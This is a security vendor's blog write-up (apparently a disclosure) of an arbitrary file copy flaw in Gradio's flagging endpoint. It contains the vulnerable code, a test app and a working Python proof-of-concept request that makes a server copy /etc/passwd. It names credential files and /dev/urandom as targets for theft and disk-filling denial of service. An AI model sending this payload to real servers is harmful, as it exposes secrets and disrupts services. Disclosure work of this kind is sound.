How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
Below is our duplicate finding. Edit made on October 13th, 2025.
An arbitrary file copy vulnerability in Gradio’s flagging feature allows unauthenticated attackers to copy any readable file from the server’s filesystem. While attackers can’t read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.
The flagging component doesn’t properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.
Source: User-controlled path parameter in the flagging functionality JSON payload
Sink: shutil.copy operation in FileData._copy_to_dir() method
The vulnerable code flow:
/gradio_api/run/predict endpointpath field within FileData object can reference any file on the systemComponent.flag() method creates a GradioDataModel objectFileData._copy_to_dir() method uses this path without proper validation:<code class="hljs language-python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">_copy_to_dir</span>(<span class="hljs-params">self, <span class="hljs-built_in">dir</span>: <span class="hljs-built_in">str</span></span>) -> FileData:
pathlib.Path(<span class="hljs-built_in">dir</span>).mkdir(exist_ok=<span class="hljs-literal">True</span>)
new_obj = <span class="hljs-built_in">dict</span>(<span class="hljs-variable language_">self</span>)
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-variable language_">self</span>.path:
<span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">"Source file path is not set"</span>)
new_name = shutil.copy(<span class="hljs-variable language_">self</span>.path, <span class="hljs-built_in">dir</span>) <span class="hljs-comment"># vulnerable sink</span>
new_obj[<span class="hljs-string">"path"</span>] = new_name
<span class="hljs-keyword">return</span> <span class="hljs-variable language_">self</span>.__class__(**new_obj)
</code>The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio’s flagged directory:
Setup a Gradio app:
<code class="hljs language-python"><span class="hljs-keyword">import</span> gradio <span class="hljs-keyword">as</span> gr
<span class="hljs-keyword">def</span> <span class="hljs-title function_">image_classifier</span>(<span class="hljs-params">inp</span>):
<span class="hljs-keyword">return</span> {<span class="hljs-string">'cat'</span>: <span class="hljs-number">0.2</span>, <span class="hljs-string">'dog'</span>: <span class="hljs-number">0.8</span>}
test = gr.Interface(fn=image_classifier, inputs=<span class="hljs-string">"image"</span>, outputs=<span class="hljs-string">"label"</span>)
test.launch(share=<span class="hljs-literal">True</span>)
</code>Run the PoC:
<code class="hljs language-python"><span class="hljs-keyword">import</span> requests
url = <span class="hljs-string">"https://[your-gradio-app-url]/gradio_api/run/predict"</span>
headers = {
<span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/json"</span>,
<span class="hljs-string">"User-Agent"</span>: <span class="hljs-string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"</span>
}
payload = {
<span class="hljs-string">"data"</span>: [
{
<span class="hljs-string">"path"</span>: <span class="hljs-string">"/etc/passwd"</span>,
<span class="hljs-string">"url"</span>: <span class="hljs-string">"[your-gradio-app-url]"</span>,
<span class="hljs-string">"orig_name"</span>: <span class="hljs-string">"network_config"</span>,
<span class="hljs-string">"size"</span>: <span class="hljs-number">5000</span>,
<span class="hljs-string">"mime_type"</span>: <span class="hljs-string">"text/plain"</span>,
<span class="hljs-string">"meta"</span>: {
<span class="hljs-string">"_type"</span>: <span class="hljs-string">"gradio.FileData"</span>
}
},
{}
],
<span class="hljs-string">"event_data"</span>: <span class="hljs-literal">None</span>,
<span class="hljs-string">"fn_index"</span>: <span class="hljs-number">4</span>,
<span class="hljs-string">"trigger_id"</span>: <span class="hljs-number">11</span>,
<span class="hljs-string">"session_hash"</span>: <span class="hljs-string">"test123"</span>
}
response = requests.post(url, headers=headers, json=payload)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f"Status Code: <span class="hljs-subst">{response.status_code}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f"Response Body: <span class="hljs-subst">{response.text}</span>"</span>)
</code>The vulnerability has severe security implications:
/etc/passwd, /etc/shadow, etc.), configuration files containing credentials and API keys, database connection strings, and private SSH keys./dev/zero or /dev/urandom) or critical system files, potentially causing the application to crash or become unresponsive due to resource exhaustion.
Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
Authorization bypass in n8n’s dynamic-credentials OAuth endpoints allows any authenticated user to operate on another user’s OAuth credential by supplying its ID, enabling unauthorized OAuth rebinding and revocation.
Artemiy Malyshau
An IDOR vulnerability in n8n’s public variables API allows authenticated users to read project variables outside their authorized scope, exposing secrets across project boundaries.
Artemiy Malyshau
Learn API scanning for automated security testing. Find vulnerabilities from broken authentication to business logic flaws in your endpoints.
Artemiy Malyshau
A complete guide to automated pentest tools and best practices. Learn what works, what doesn’t, and how to implement continuous security testing.
Artemiy Malyshau
Compare the best AI-powered application security testing tools. Find which tools detect business logic flaws and broken access control.
Artemiy Malyshau
Occasional updates, new content, and insights. No spam; unsubscribe anytime.